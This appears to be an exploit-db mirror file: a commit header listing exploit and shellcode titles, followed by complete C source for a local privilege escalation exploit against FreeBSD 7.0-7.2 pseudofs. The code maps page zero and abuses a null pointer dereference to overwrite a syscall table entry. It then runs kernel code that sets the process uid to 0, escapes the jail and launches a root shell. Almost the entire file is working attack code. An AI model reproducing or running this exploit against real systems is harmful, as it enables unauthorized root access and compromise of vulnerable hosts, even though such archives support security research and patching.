exploit-db-mirror/exploits/bsd/local/15206.c
Offensive Security 880bbe402e DB: 2019-03-08
14991 changes to exploits/shellcodes

HTC Touch - vCard over IP Denial of Service

TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities

PeerBlock 1.1 - Blue Screen of Death

WS10 Data Server - SCADA Overflow (PoC)

Symantec Endpoint Protection 12.1.4013 - Service Disabling
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)
Memcached 1.4.33 - 'Crash' (PoC)
Memcached 1.4.33 - 'Add' (PoC)
Memcached 1.4.33 - 'sasl' (PoC)

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow

man-db 2.4.1 - 'open_cat_stream()' Local uid=man

CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation

CDRecord's ReadCD - Local Privilege Escalation
Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH)
FreeBSD - Intel SYSRET Privilege Escalation (Metasploit)

CCProxy 6.2 - 'ping' Remote Buffer Overflow

Savant Web Server 3.1 - Remote Buffer Overflow (2)

Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow

Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow
QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)
Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)
Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit)
Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass)
TeamCity < 9.0.2 - Disabled Registration Bypass
OpenSSH SCP Client - Write Arbitrary Files
Kados R10 GreenBee - Multiple SQL Injection
WordPress Core 5.0 - Remote Code Execution
phpBB 3.2.3  - Remote Code Execution

Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes)
Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
2019-03-08 05:01:50 +00:00

114 lines
No EOL
2.5 KiB
C

/*
* source: https://www.securityfocus.com/bid/43060/info
* 18.08.2010, babcia padlina
* FreeBSD 7.0 - 7.2 pseudofs null ptr dereference exploit
*
*
* to obtain SYSENT8_SYCALL_ADDR, run:
* $ kgdb /boot/kernel/kernel
* (kgdb) print &sysent[8].sy_call
*/
#define SYSENT8_SYCALL_ADDR 0xc0c4afa4 /* FreeBSD 7.2-RELEASE */
#define _KERNEL
#include <sys/param.h>
#include <sys/conf.h>
#include <sys/ucred.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/proc.h>
#include <sys/types.h>
#include <sys/extattr.h>
#include <sys/uio.h>
#include <sys/turnstile.h>
#include <sys/queue.h>
struct turnstile {
struct mtx ts_lock;
struct threadqueue ts_blocked[2];
struct threadqueue ts_pending;
LIST_ENTRY(turnstile) ts_hash;
LIST_ENTRY(turnstile) ts_link;
LIST_HEAD(, turnstile) ts_free;
struct lock_object *ts_lockobj;
struct thread *ts_owner;
};
volatile int gotroot = 0;
static void kernel_code(void) {
struct thread *thread;
asm(
"movl %%fs:0, %0"
: "=r"(thread)
);
/*
* kernel_code() is called while thread is in critical section,
* so we need to unset td_critnest flag to prevent panic after
* nearest user mode page fault.
*/
thread->td_critnest = 0;
thread->td_proc->p_ucred->cr_uid = 0;
thread->td_proc->p_ucred->cr_prison = NULL;
gotroot = 1;
return;
}
int main(int argc, char **argv) {
struct turnstile *ts = 0;
if (access("/proc/curproc/cmdline", R_OK)) {
printf("procfs not found.\n");
return -1;
}
if (mmap(0, PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) == MAP_FAILED) {
printf("mmap 0x0 failed.\n");
return -1;
}
memset(0, 0, PAGE_SIZE);
/*
* we need to call dummy extattr_get_link() here, to make
* libc memory pages accessible without user mode page fault. without
* it, panic will occur after next extattr_get_link().
*/
extattr_get_link("/dev/null", 0, 0, 0, 0);
/* overwrite sysent[8].sy_call with 0x0 */
ts->ts_blocked[0].tqh_first = (void *)(SYSENT8_SYCALL_ADDR - 0x1c);
extattr_get_link("/proc/curproc/cmdline", 0, 0, 0, 0);
*(char *)0x0 = 0x90;
*(char *)0x1 = 0xe9;
*(unsigned long *)0x2 = &kernel_code;
asm(
"movl $0x8, %eax;"
"int $0x80;"
);
if (gotroot) {
printf("oops, I did it again.\n");
setuid(0);
setgid(0);
execl("/bin/sh", "sh", NULL);
}
printf("exploit failed.\n");
return 0;
}